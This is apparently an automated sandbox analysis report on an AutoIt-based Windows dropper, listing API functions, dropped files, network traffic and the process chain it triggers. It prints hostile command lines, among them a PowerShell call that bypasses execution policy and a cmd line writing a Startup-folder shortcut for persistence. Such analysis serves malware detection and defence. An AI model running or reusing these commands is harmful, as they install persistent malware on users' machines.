Source: T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown

HTTPS traffic detected: 83.140.241.4:443 -> 192.168.2.4:49730 version: TLS 1.2

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB1B0D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00007FF6BB1B0D24

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1B0D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	0_2_00007FF6BB1B0D24
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005A4830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	3_2_005A4830
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_00914830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	10_2_00914830

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB1B0A6C OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00007FF6BB1B0A6C

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB121CEC GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

0_2_00007FF6BB121CEC

Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005BD164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		3_2_005BD164
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0092D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		10_2_0092D164

System Summary

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00007FF6BB1237B0
Source: T6l6gPxwQU.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: T6l6gPxwQU.exe, 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_5e6fb49a-f
Source: T6l6gPxwQU.exe, 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*	memstr_b81c1be3-9

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB19C054: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00007FF6BB19C054

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB18D2C4 GetCurrentProcess,OpenProcessToken,CreateEnvironmentBlock,CloseHandle,CreateProcessWithLogonW,DestroyEnvironmentBlock,

0_2_00007FF6BB18D2C4

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB19D750 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	0_2_00007FF6BB19D750
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00595778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	3_2_00595778
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_00905778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	10_2_00905778

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1BF630	0_2_00007FF6BB1BF630
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB132E30	0_2_00007FF6BB132E30
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB133C20	0_2_00007FF6BB133C20
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB13FA4F	0_2_00007FF6BB13FA4F
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1CDB18	0_2_00007FF6BB1CDB18
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB15793C	0_2_00007FF6BB15793C
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB12B9F0	0_2_00007FF6BB12B9F0
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1A1A18	0_2_00007FF6BB1A1A18
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1CBA0C	0_2_00007FF6BB1CBA0C
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1B206C	0_2_00007FF6BB1B206C
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB14C130	0_2_00007FF6BB14C130
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB125F3C	0_2_00007FF6BB125F3C
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB12BE70	0_2_00007FF6BB12BE70
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB14BEB4	0_2_00007FF6BB14BEB4
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB12B390	0_2_00007FF6BB12B390
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB16529C	0_2_00007FF6BB16529C
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1B32AC	0_2_00007FF6BB1B32AC
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB12183C	0_2_00007FF6BB12183C
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB161840	0_2_00007FF6BB161840
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB19D87C	0_2_00007FF6BB19D87C
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1358D0	0_2_00007FF6BB1358D0
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB14F8D0	0_2_00007FF6BB14F8D0
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB151750	0_2_00007FF6BB151750
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1D17C0	0_2_00007FF6BB1D17C0
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1B56A0	0_2_00007FF6BB1B56A0
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1595B0	0_2_00007FF6BB1595B0
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB162D20	0_2_00007FF6BB162D20
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1B6C34	0_2_00007FF6BB1B6C34
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB122AE0	0_2_00007FF6BB122AE0
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1C0AEC	0_2_00007FF6BB1C0AEC
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1530DC	0_2_00007FF6BB1530DC
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB130E70	0_2_00007FF6BB130E70
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB140E90	0_2_00007FF6BB140E90
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1CCE8C	0_2_00007FF6BB1CCE8C
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB166DE4	0_2_00007FF6BB166DE4
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1584C0	0_2_00007FF6BB1584C0
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB144514	0_2_00007FF6BB144514
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1B8360	0_2_00007FF6BB1B8360
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1A83D4	0_2_00007FF6BB1A83D4
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB14C3FC	0_2_00007FF6BB14C3FC
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB162400	0_2_00007FF6BB162400
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1402C4	0_2_00007FF6BB1402C4
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1B6320	0_2_00007FF6BB1B6320
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB15A8A0	0_2_00007FF6BB15A8A0
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1667F0	0_2_00007FF6BB1667F0
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1CC6D4	0_2_00007FF6BB1CC6D4
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1C055C	0_2_00007FF6BB1C055C
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1CA59C	0_2_00007FF6BB1CA59C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B7E211D	1_2_00007FFD9B7E211D
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0053B020	3_2_0053B020
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005394E0	3_2_005394E0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00539C80	3_2_00539C80
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005523F5	3_2_005523F5
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005B8400	3_2_005B8400
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00566502	3_2_00566502
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0056265E	3_2_0056265E
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0053E6F0	3_2_0053E6F0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0055282A	3_2_0055282A
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005689BF	3_2_005689BF
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00566A74	3_2_00566A74
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005B0A3A	3_2_005B0A3A
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00540BE0	3_2_00540BE0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0055CD51	3_2_0055CD51
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0058EDB2	3_2_0058EDB2
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00598E44	3_2_00598E44
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005B0EB7	3_2_005B0EB7
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00566FE6	3_2_00566FE6
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005533B7	3_2_005533B7
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0054D45D	3_2_0054D45D
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0055F409	3_2_0055F409
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00531663	3_2_00531663
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0054F628	3_2_0054F628
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005516B4	3_2_005516B4
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0053F6A0	3_2_0053F6A0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005578C3	3_2_005578C3
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0055DBA5	3_2_0055DBA5
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00551BA8	3_2_00551BA8
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00569CE5	3_2_00569CE5
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0054DD28	3_2_0054DD28
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0055BFD6	3_2_0055BFD6
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00551FC0	3_2_00551FC0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008AB020	10_2_008AB020
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008A94E0	10_2_008A94E0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008A9C80	10_2_008A9C80
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008C23F5	10_2_008C23F5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_00928400	10_2_00928400
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008D6502	10_2_008D6502
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008AE6F0	10_2_008AE6F0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008D265E	10_2_008D265E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008C282A	10_2_008C282A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008D89BF	10_2_008D89BF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_00920A3A	10_2_00920A3A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008D6A74	10_2_008D6A74
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008B0BE0	10_2_008B0BE0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008FEDB2	10_2_008FEDB2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008CCD51	10_2_008CCD51
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_00920EB7	10_2_00920EB7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_00908E44	10_2_00908E44
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008D6FE6	10_2_008D6FE6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008C33B7	10_2_008C33B7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008CF409	10_2_008CF409
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008BD45D	10_2_008BD45D
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008AF6A0	10_2_008AF6A0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008C16B4	10_2_008C16B4
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008BF628	10_2_008BF628
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008A1663	10_2_008A1663
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008C78C3	10_2_008C78C3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008C1BA8	10_2_008C1BA8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008CDBA5	10_2_008CDBA5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008D9CE5	10_2_008D9CE5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008BDD28	10_2_008BDD28
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008C1FC0	10_2_008C1FC0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008CBFD6	10_2_008CBFD6

Source: Joe Sandbox View	Dropped File: C:\Users\Public\InformationCheck.exe 237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif 237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D

Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: String function: 008B1A36 appears 34 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: String function: 008C0D17 appears 70 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: String function: 008C8B30 appears 42 times
Source: C:\Users\Public\InformationCheck.exe	Code function: String function: 00550D17 appears 70 times
Source: C:\Users\Public\InformationCheck.exe	Code function: String function: 00558B30 appears 42 times
Source: C:\Users\Public\InformationCheck.exe	Code function: String function: 00541A36 appears 34 times
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: String function: 00007FF6BB148D58 appears 76 times

Source: T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAutoIt3.exeB vs T6l6gPxwQU.exe
Source: T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAutoIt3.exeB vs T6l6gPxwQU.exe

Source: classification engine

Classification label: mal100.expl.evad.winEXE@12/10@3/1

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB1A3778 GetLastError,FormatMessageW,

0_2_00007FF6BB1A3778

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB18D5CC LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	0_2_00007FF6BB18D5CC
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB18CCE0 AdjustTokenPrivileges,CloseHandle,	0_2_00007FF6BB18CCE0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00588DE9 AdjustTokenPrivileges,CloseHandle,	3_2_00588DE9
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00589399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	3_2_00589399
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008F8DE9 AdjustTokenPrivileges,CloseHandle,	10_2_008F8DE9
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008F9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	10_2_008F9399

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB1A59D8 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_00007FF6BB1A59D8

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB19BE00 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00007FF6BB19BE00

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB1B7E38 CoInitializeSecurity,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,

0_2_00007FF6BB1B7E38

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB126580 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00007FF6BB126580

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

File created: C:\Users\Public\InformationCheck.exe

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7372:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mibvk1qm.s2r.ps1

Jump to behavior

Source: T6l6gPxwQU.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: T6l6gPxwQU.exe

ReversingLabs: Detection: 42%

Source: unknown	Process created: C:\Users\user\Desktop\T6l6gPxwQU.exe "C:\Users\user\Desktop\T6l6gPxwQU.exe"
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\InformationCheck.exe "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3
Source: C:\Users\Public\InformationCheck.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\InformationCheck.exe "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"	Jump to behavior

